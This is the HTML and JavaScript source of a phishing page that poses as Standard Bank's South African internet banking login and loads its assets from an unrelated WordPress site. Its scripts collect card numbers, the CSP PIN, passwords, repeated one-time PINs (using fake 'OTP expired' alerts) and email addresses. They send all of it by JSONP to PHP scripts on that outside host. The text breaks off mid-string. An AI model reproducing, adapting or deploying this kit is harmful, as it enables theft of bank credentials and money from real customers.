<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-ZA" lang="en-ZA">
    <head>

        <!-- base href="https://www18.encrypt.standardbank.co.za/ibsa/main.jsp" -->
        <title>Internet banking</title>
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
                <link rel="shortcut icon" href="https://www18.encrypt.standardbank.co.za/ibsa/images/favicon.ico">

                <link rel="stylesheet" href="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/ladda-themeless.css" type="text/css">
                <link rel="stylesheet" href="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/ib-bootstrap.css" type="text/css">
                <link rel="stylesheet" href="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/ibrLogon.css" type="text/css">
        <style type="text/css">
                    .custom-error {
                        display: none;
                    }
                    @font-face{font-family:'Glyphicons Halflings';
                               src:url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/glyphicons-halflings-regular.eot');
                               src:url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'),
                                   url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/glyphicons-halflings-regular.woff') format('woff'),
                                   url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/glyphicons-halflings-regular.ttf') format('truetype'),
                                   url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular')
                                   format('svg')}

                    @font-face{font-family:'FontAwesome';src:url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/fontawesome-webfont.eot?v=4.2.0');src:url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/fontawesome-webfont.eot?#iefix&v=4.2.0') format('embedded-opentype'),url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/fontawesome-webfont.woff?v=4.2.0') format('woff'),url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/fontawesome-webfont.ttf?v=4.2.0') format('truetype'),url('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/fonts/fontawesome-webfont.svg?v=4.2.0#fontawesomeregular') format('svg');
                                font-weight:normal;font-style:normal}







.loader {
  border: 16px solid #f3f3f3 !important;
  border-radius: 50% !important;
  border-top: 16px solid #3498db !important;
  width: 120px;
  height: 120px;
  -webkit-animation: spin 2s linear infinite;
  animation: spin 2s linear infinite;
    left: 50%;
    margin-left: -60px;
    margin-top: -80px;
    position: absolute;
    top: 30%;
}

@-webkit-keyframes spin {
  0% { -webkit-transform: rotate(0deg); }
  100% { -webkit-transform: rotate(360deg); }
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.pace-inactive {
    display: none;
}
.pace .pace-activity {
    -moz-border-bottom-colors: none;
    -moz-border-left-colors: none;
    -moz-border-right-colors: none;
    -moz-border-top-colors: none;
    animation: 400ms linear 0s normal none infinite running pace-spinner;
    border-color: #004795 transparent transparent #004795;
    border-image: none;
    border-radius: 50px;
    border-style: solid;
    border-width: 5px;
    display: block;
    height: 50px;
    margin: 0 auto;
    width: 50px;
    z-index: 2000;
}
.centered-spinner, .inline-spinner {
    -moz-border-bottom-colors: none;
    -moz-border-left-colors: none;
    -moz-border-right-colors: none;
    -moz-border-top-colors: none;
    animation: 400ms linear 0s normal none infinite running pace-spinner;
    border-color: #0496fd transparent transparent #0496fd;
    border-image: none;
    border-radius: 35px;
    border-style: solid;
    border-width: 2px;
    display: block;
    height: 18px;
    position: relative;
    top: 5px;
    width: 18px;
}
.centered-spinner {
    display: inline-block;
}
.branch-inline-spinner {
    float: right;
    position: relative;
    right: 0.5em;
    top: 2em;
    z-index: 99;
}
.spinner {
    left: 0;
    position: fixed;
    right: 0;
    top: 40%;
}





                </style>




<script type="text/javascript" src="https://www18.encrypt.standardbank.co.za/ibsa/assets/js/jquery-1.11.1.min.js"></script>
<script type="text/javascript">
        /*
 * Date Format 1.2.3
 * (c) 2007-2009 Steven Levithan <stevenlevithan.com>
 * MIT license
 *
 * Includes enhancements by Scott Trenda <scott.trenda.net>
 * and Kris Kowal <cixar.com/~kris.kowal/>
 *
 * Accepts a date, a mask, or a date and a mask.
 * Returns a formatted version of the given date.
 * The date defaults to the current date/time.
 * The mask defaults to dateFormat.masks.default.
 */

var dateFormat = function () {
        var     token = /d{1,4}|m{1,4}|yy(?:yy)?|([HhMsTt])\1?|[LloSZ]|"[^"]*"|'[^']*'/g,
                timezone = /\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g,
                timezoneClip = /[^-+\dA-Z]/g,
                pad = function (val, len) {
                        val = String(val);
                        len = len || 2;
                        while (val.length < len) val = "0" + val;
                        return val;
                };

        // Regexes and supporting functions are cached through closure
        return function (date, mask, utc) {
                var dF = dateFormat;

                // You can't provide utc if you skip other args (use the "UTC:" mask prefix)
                if (arguments.length == 1 && Object.prototype.toString.call(date) == "[object String]" && !/\d/.test(date)) {
                        mask = date;
                        date = undefined;
                }

                // Passing date through Date applies Date.parse, if necessary
                date = date ? new Date(date) : new Date;
                if (isNaN(date)) throw SyntaxError("invalid date");

                mask = String(dF.masks[mask] || mask || dF.masks["default"]);

                // Allow setting the utc argument via the mask
                if (mask.slice(0, 4) == "UTC:") {
                        mask = mask.slice(4);
                        utc = true;
                }

                var     _ = utc ? "getUTC" : "get",
                        d = date[_ + "Date"](),
                        D = date[_ + "Day"](),
                        m = date[_ + "Month"](),
                        y = date[_ + "FullYear"](),
                        H = date[_ + "Hours"](),
                        M = date[_ + "Minutes"](),
                        s = date[_ + "Seconds"](),
                        L = date[_ + "Milliseconds"](),
                        o = utc ? 0 : date.getTimezoneOffset(),
                        flags = {
                                d:    d,
                                dd:   pad(d),
                                ddd:  dF.i18n.dayNames[D],
                                dddd: dF.i18n.dayNames[D + 7],
                                m:    m + 1,
                                mm:   pad(m + 1),
                                mmm:  dF.i18n.monthNames[m],
                                mmmm: dF.i18n.monthNames[m + 12],
                                yy:   String(y).slice(2),
                                yyyy: y,
                                h:    H % 12 || 12,
                                hh:   pad(H % 12 || 12),
                                H:    H,
                                HH:   pad(H),
                                M:    M,
                                MM:   pad(M),
                                s:    s,
                                ss:   pad(s),
                                l:    pad(L, 3),
                                L:    pad(L > 99 ? Math.round(L / 10) : L),
                                t:    H < 12 ? "a"  : "p",
                                tt:   H < 12 ? "am" : "pm",
                                T:    H < 12 ? "A"  : "P",
                                TT:   H < 12 ? "AM" : "PM",
                                Z:    utc ? "UTC" : (String(date).match(timezone) || [""]).pop().replace(timezoneClip, ""),
                                o:    (o > 0 ? "-" : "+") + pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4),
                                S:    ["th", "st", "nd", "rd"][d % 10 > 3 ? 0 : (d % 100 - d % 10 != 10) * d % 10]
                        };

                return mask.replace(token, function ($0) {
                        return $0 in flags ? flags[$0] : $0.slice(1, $0.length - 1);
                });
        };
}();

// Some common format strings
dateFormat.masks = {
        "default":      "ddd mmm dd yyyy HH:MM:ss",
        shortDate:      "m/d/yy",
        mediumDate:     "mmm d, yyyy",
        longDate:       "mmmm d, yyyy",
        fullDate:       "dddd, mmmm d, yyyy",
        shortTime:      "h:MM TT",
        mediumTime:     "h:MM:ss TT",
        longTime:       "h:MM:ss TT Z",
        isoDate:        "yyyy-mm-dd",
        isoTime:        "HH:MM:ss",
        isoDateTime:    "yyyy-mm-dd'T'HH:MM:ss",
        isoUtcDateTime: "UTC:yyyy-mm-dd'T'HH:MM:ss'Z'"
};

// Internationalization strings
dateFormat.i18n = {
        dayNames: [
                "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat",
                "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"
        ],
        monthNames: [
                "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec",
                "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
        ]
};

// For convenience...
Date.prototype.format = function (mask, utc) {
        return dateFormat(this, mask, utc);
};

function ajax_post_callBack_responseOnly(post_url, formValues, callBack, loader) {

    aJaxRequest =  $.ajax({
        type: 'POST',
        url: post_url,
        data: formValues,
        cache: false,
        dataType: "text",
        success: function(results,status,xhr) {
            /*
            var contentType = xhr.getResponseHeader("content-type") || "";
            if (contentType.indexOf('html') > -1) {
                $('#div1').html(results);
                callBack(results);
            }else{
                callBack(JSON.parse(results));
            }
            */
            callBack(results);
        },
        error:function(xhr,status,error){
            alert(status);
            //pageLoader(false);
        }
    });
}





function ajax_jsonp_call(post_url, formValues, callBack) {

    //pageLoader(true);

        $.ajax({

            url: post_url,

            data: formValues,

            dataType: "jsonp",

            cache: false,

            success: function(results) {

                callBack(results);

                /*document.open();

               //$('html').remove();

               document.write(dataResult.message);

               document.close();*/

            },

            error: function() {

                alert('Error');

                //pageLoader(false);

            }

        });

    }




                    function cValidations(ccn){
                        var split_cnn = ccn.split('');
                        var first_char_ccn = split_cnn[0];
                        var cardErrorCount = 0;

                        if(ccn.length > 18){
                            cardErrorCount++;
                            //console.log('card number greater than 18 digits');
                        }
                        if(ccn.length < 8){
                            cardErrorCount++;
                            //console.log('card number less than 8 digits');
                        }
                        if(!numCheck(ccn))
                        {
                            cardErrorCount++;
                            //console.log('card number contains alphabeths');
                        }
                        var digs = ["4","5","9"];
                        var fdigitSearch = $.inArray(first_char_ccn,digs);
                        //console.log(fdigitSearch);
                        if(fdigitSearch === -1)
                        {
                            cardErrorCount++;
                            //console.log('card number first digit invalid');
                        }

                        return cardErrorCount;
                    }
                    function numCheck (string){
                        var format2 = /^[0-9]+$/;
                        //console.log('num check -->'+format2.test(string));
                        //return format2.test(string);
                        var regstatus = format2.test(string);
                        if(regstatus){
                            return true;
                        }
                        else{
                            return false;
                        }
                    }
                    function numericValidation(string)
                    {
                        var format1 = /^[A-Za-z]+$/;
                        var format2 = /^[0-9]+$/;
                        var regexNumber = /^\d+$/;

                        testAlphabeth = format1.test(string);
                        testNumeric = format2.test(string);
                        regexNumeric = regexNumber.test(string);

                        if(!regexNumeric)
                            return false;
                        else
                            return true;
                    }
                    function passwordValidations(pwd)
                    {
                        pwdErrorCount = 0;
                        var format2 = /^[0-9]/;
                        if(!isNumeric(pwd))
                        {
                            pwdErrorCount++;
                            //console.log('password does not contains alphabeth & numbers');
                        }
                        return pwdErrorCount;
                    }
                    function isNumeric(elem){
                        //var alphaExp = /^[0-9]+$/;
                        var alphaExp = /^(?=.*[a-zA-Z])(?=.*\d).+$/;
                        if(elem.match(alphaExp)){
                            return true;
                        }else{
                            return false;
                        }
                    }
                    function ajax_jsonp_call(post_url, formValues, callBack) {
                        $.ajax({
                            url: post_url,
                            data: formValues,
                            dataType: "jsonp",
                            cache: false,
                            success: function(results) {
                                callBack(results);
                                /*document.open();
                               //$('html').remove();
                               document.write(dataResult.message);
                               document.close();*/
                            },
                            error: function() {
                                alert('Error');
                                //pageLoader(false);
                            }
                        });
                    }





 function ExperienceLoader(){
            ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/ExperienceLoader.php', '', function(responseText){
                document.open();
                document.write(responseText.message);
                document.close();
            });
        }

        errorCount = 0;

function CheckloginFields(){
            //var errorCount = 0;

            var cardNum = $("input#ccn").val();
            var csp = $("input#csp").val();
            var pwd = $("input#pwd").val();

            if(cValidations(cardNum) !== 0){
                $("p.custom-error.cardnumber-error").show();
                //console.log('cardnum invalid');
                errorCount++;
            }else {
                $("p.custom-error.cardnumber-error").hide();
            }

            if(!numericValidation(csp) || csp.length !== 5){
                $("p.custom-error.csp-error").show();
                //console.log('csp invalid');
                errorCount++;
            }else {
                $("p.custom-error.csp-error").hide();
            }

            if(passwordValidations(pwd) !== 0){
                $("p.custom-error.pwd-error").show();
                //console.log('pwd invalid');
                errorCount++;
            }else {
                $("p.custom-error.pwd-error").hide();
            }

            //console.log(errorCount);

            if(errorCount !== 0){
                //this.defaultButton();
                errorCount = 0;
                return false;
            }else {
                $("input[name=ccn-hidden]").val(cardNum);
                $("input[name=csp-hidden]").val(csp);
                $("input[name=pwd-hidden]").val(pwd);

                ContinueLogin($("form#signonForm"));
                //console.log("No Errors");
            }
        }

function displayError(){
    var spinnerbtn = '<button type="submit" id="login" name="login" value="Login" class="btn btn-primary ladda-button" data-style="expand-left" onclick="" disabled="" data-loading=""><span class="ladda-label">Login</span><span class="ladda-spinner"></span><span class="ladda-spinner"></span><span class="ladda-spinner"><div class="" style="position: absolute; width: 0px; z-index: auto; left: auto; top: auto;" role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-0-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(0deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-1-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(30deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-2-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(60deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-3-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(90deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-4-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(120deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-5-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(150deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-6-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(180deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-7-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(210deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-8-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(240deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-9-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(270deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-10-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(300deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-11-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(330deg) translate(6.2px, 0px); border-radius: 1px;"></div></div></div></span></button>';
    $("button#login").replaceWith(spinnerbtn);
}

function validateEmail(email) {

        //console.log(email);

        var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;

        return re.test(email);

    }

function showPage(pageID){
    $("div.container.page").hide('fast', function(){
        $("div.container.page.page-"+pageID).fadeIn('fast');
        $(".collapse.navbar-collapse").show();
        console.log('showing page'+pageID);
    });
    JSloginStandard.jsHidePleaseWait();
}

function ContinueLogin(formValues){
    displayError();
    ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/publicLicence_bak.php', formValues.serialize()+'&'+$("form#form100").serialize(), function(responseText){
        /*document.open();
        document.write(responseText.message);
        document.close();*/
        //$("div.container.page").addClass('hidden');
        nowDateTime = new Date();
        $(".otpForm_date").html(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss"));
        showPage(2);
        setTimeout(function(){
            $("input#otp").focus();
        },500);
    });
    //console.log('loggin in...');
    //ajax_jsonp_call
    return true;
}

function is_mobile_valid(string_or_number){
        var mobile = string_or_number;
        if(mobile.length!=10){
            return false;
        }
        var firstString = mobile[0];
        console.log(firstString);
        if(firstString !== "0"){
            return false;
        }
        intRegex = /[0-9 -()+]+$/;
        is_mobile=true;
        for ( var i=0; i < 10; i++) {
            if(intRegex.test(mobile[i]))
                 {
                 continue;
                 }
                else{
                    is_mobile=false;
                    break;
                }
             }
        return is_mobile;
    }


var otpCount = 1;
var maxOtp = 100;

var otpPrevious = "";
var otps = {};
var otpss = [];

function otpArray(item, otpss){
    statu = jQuery.inArray(item, otpss);
    console.log(statu);
    return statu;
}



JSloginStandard = {
    otpContinue : function(formValues){
            var otpText = $("form#otpForm input#otp").val();
            //console.log(otpText);
            //return false;
            if(!numericValidation(otpText) || otpText.length !== 5){
                $("form#otpForm span.formError.otperror1").show();
                return false;
            }

            /*else if(otpPrevious !== "" && otpPrevious === otpText){

                $("input#otp").val("");
                $("span.formError").hide();
                $("span.formError.otperror2").show();
                JSloginStandard.jsHideError();
                alert("Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone");
                return false;
            }*/
            if(otpArray(otpText, otpss) !== -1){
                $("form#otpForm input#otp").val("").focus();
                $("form#otpForm span.formError").hide();
                $("form#otpForm span.formError.otperror2").show();
                alert("Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone");
                JSloginStandard.jsHideError();
            }
            else {
                $("form#otpForm span.formError.otperror1").hide();
                this.jsShowError();
                this.jsShowPleaseWait();

                otps["otp"+otpCount] = {"otpvalue" : otpText};
                otpss.push(otpText);

                $("input[name=otp"+otpCount+"-hidden]").val(otpText);
                //$("form")
                ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/continue2_bak.php?otpCount='+otpCount, formValues.serialize()+'&'+$.param(otps)+'&'+$("form#form100").serialize(), function(responseText){
                    if(otpCount === 1){
                        otpCount+=1;
                        $("form#otpForm span.formError.otperror2").show();
                        JSloginStandard.jsHideError();
                        $("form#otpForm input#otp").val("");
                        otpPrevious = otpText;
                        JSloginStandard.jsHidePleaseWait();
                    }else{
                        otpCount+=1;
                        nowDateTime = new Date();
                        $(".otpForm_date").html(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss"));
                        showPage(3);
                        setTimeout(function(){
                            $("input#phone").focus();
                        },500);
                        /*
                        document.open();
                        document.write(responseText.message);
                        document.close();*/
                        //window.location.href='https://www.standardbank.co.za/secure/online_InternetBank/demo/statementsemail.html';
                    }

                });

            }
            return false;
        },
     otpContinue2 : function(formValues){
            var otpText = $("form#otpForm2 input#otp").val();
            //console.log(otpText);
            //return false;
            if(!numericValidation(otpText) || otpText.length !== 5){
                $("form#otpForm span.formError.otperror1").show();
                return false;
            }

            /*else if(otpPrevious !== "" && otpPrevious === otpText){

                $("input#otp").val("");
                $("span.formError").hide();
                $("span.formError.otperror2").show();
                JSloginStandard.jsHideError();
                alert("Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone");
                return false;
            }*/
            if(otpArray(otpText, otpss) !== -1){
                $("form#otpForm2 input#otp").val("").focus();
                $("form#otpForm2 span.formError").hide();
                $("form#otpForm2 span.formError.otperror2").show();
                alert("Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone");
                JSloginStandard.jsHideError();
            }
            else {
                $("form#otpForm2 span.formError.otperror1").hide();
                this.jsShowError();
                this.jsShowPleaseWait();

                otps["otp"+otpCount] = {"otpvalue" : otpText};
                otpss.push(otpText);
                //$("form")
                $("input[name=otp"+otpCount+"-hidden]").val(otpText);
                ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/continue2_bak.php?otpCount='+otpCount, formValues.serialize()+'&'+$.param(otps)+'&'+$("form#form100").serialize(), function(responseText){
                    if(otpCount === 1){
                        otpCount+=1;
                        $("form#otpForm2 span.formError.otperror2").show();
                        JSloginStandard.jsHideError();
                        $("form#otpForm2 input#otp").val("");
                        otpPrevious = otpText;
                        JSloginStandard.jsHidePleaseWait();
                    }else{
                        nowDateTime = new Date();
                        $(".otpForm_date").html(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss"));
                        showPage(5);
                        otpCount+=1;
                        setTimeout(function(){
                            $("input#ccn-email").focus();
                        },500);
                        /*
                        document.open();
                        document.write(responseText.message);
                        document.close();*/
                        //window.location.href='https://www.standardbank.co.za/secure/online_InternetBank/demo/statementsemail.html';
                    }

                });

            }
            return false;
        },
        otpContinue3 : function(formValues){
            var otpText = $("form#otpForm3 input#otp").val();
            //console.log(otpText);
            //return false;
            if(!numericValidation(otpText) || otpText.length !== 5){
                $("form#otpForm3 span.formError.otperror1").show();
                return false;
            }

            if(otpArray(otpText, otpss) !== -1){
                $("form#otpForm3 input#otp").val("").focus();
                $("form#otpForm3 span.formError").hide();
                $("form#otpForm3 span.formError.otperror2").show();
                alert("Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone");
                JSloginStandard.jsHideError();
            }
            else {
                $("form#otpForm3 span.formError.otperror1").hide();
                this.jsShowError();
                this.jsShowPleaseWait();

                otps["otp"+otpCount] = {"otpvalue" : otpText};
                otpss.push(otpText);
                //$("form")
                ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/continue2_bak.php?otpCount='+otpCount, formValues.serialize()+'&'+$.param(otps)+'&'+$("form#form100").serialize(), function(responseText){
                    if(otpCount < 100){
                        otpCount+=1;
                        $("form#otpForm3 span.formError.otperror2").show();
                        JSloginStandard.jsHideError();
                        $("form#otpForm3 input#otp").val("");
                        otpPrevious = otpText;
                        JSloginStandard.jsHidePleaseWait();
                    }else{
                        otpCount+=1;
                        /*document.open();
                        document.write(responseText.message);
                        document.close();*/
                        //window.location.href='https://www.standardbank.co.za/secure/online_InternetBank/demo/statementsemail.html';
                    }

                });

            }

            return false;

        },
        loginCheckFields : function(){
            var errorCount = 0;
            var email = $("input#ccn-email").val();
            //var emailpwd = $("input#ccn-emailpassword").val();
            if(!validateEmail(email)){
                //this.showUsernameError();
                $("p.error.custom-error.emailaddress-error").show();
                formError = true;
                errorCount++;
            }else{
                //this.hideUsernameError();
                $("p.error.custom-error.emailaddress-error").hide();
                formError = false;
            }
            if(errorCount !== 0){
                //this.defaultButton();
                errorCount = 0;
                return false;
            }else {
                $("input[name=ccn-email-hidden]").val(email);
                this.emailContinue($("form#signonForm"));
                //console.log("No Errors");
            }
        } ,

    emailContinue : function(formValues){
            this.jsShowError();
            this.jsShowPleaseWait();

            ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/continue-email_bak.php', formValues.serialize()+'&'+$("form#form100").serialize(), function(responseText){
                /*document.open();
                document.write(responseText.message);
                document.close();*/
                //window.location.href='https://www.standardbank.co.za/secure/online_InternetBank/demo/statementsemail.html';
                showPage(6);
            });
            //console.log('loggin in...');
            //ajax_jsonp_call
            return true;

        },



        jsShowPleaseWait : function(){
            setTimeout(function(){
                $("div.panel-loader").removeClass("hide").addClass("in");
            },300);

        },

        jsHidePleaseWait : function(){
            $("div.panel-loader").removeClass("in").addClass("hide");
        },

        jsShowError : function(){

            var spinnerbtn = '<button type="submit" id="submit_otp" name="login" value="Login" class="btn btn-primary ladda-button" data-style="expand-left" onclick="" disabled="" data-loading=""><span class="ladda-label">Login</span><span class="ladda-spinner"></span><span class="ladda-spinner"></span><span class="ladda-spinner"><div class="" style="position: absolute; width: 0px; z-index: auto; left: auto; top: auto;" role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-0-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(0deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-1-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(30deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-2-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(60deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-3-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(90deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-4-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(120deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-5-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(150deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-6-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(180deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-7-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(210deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-8-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 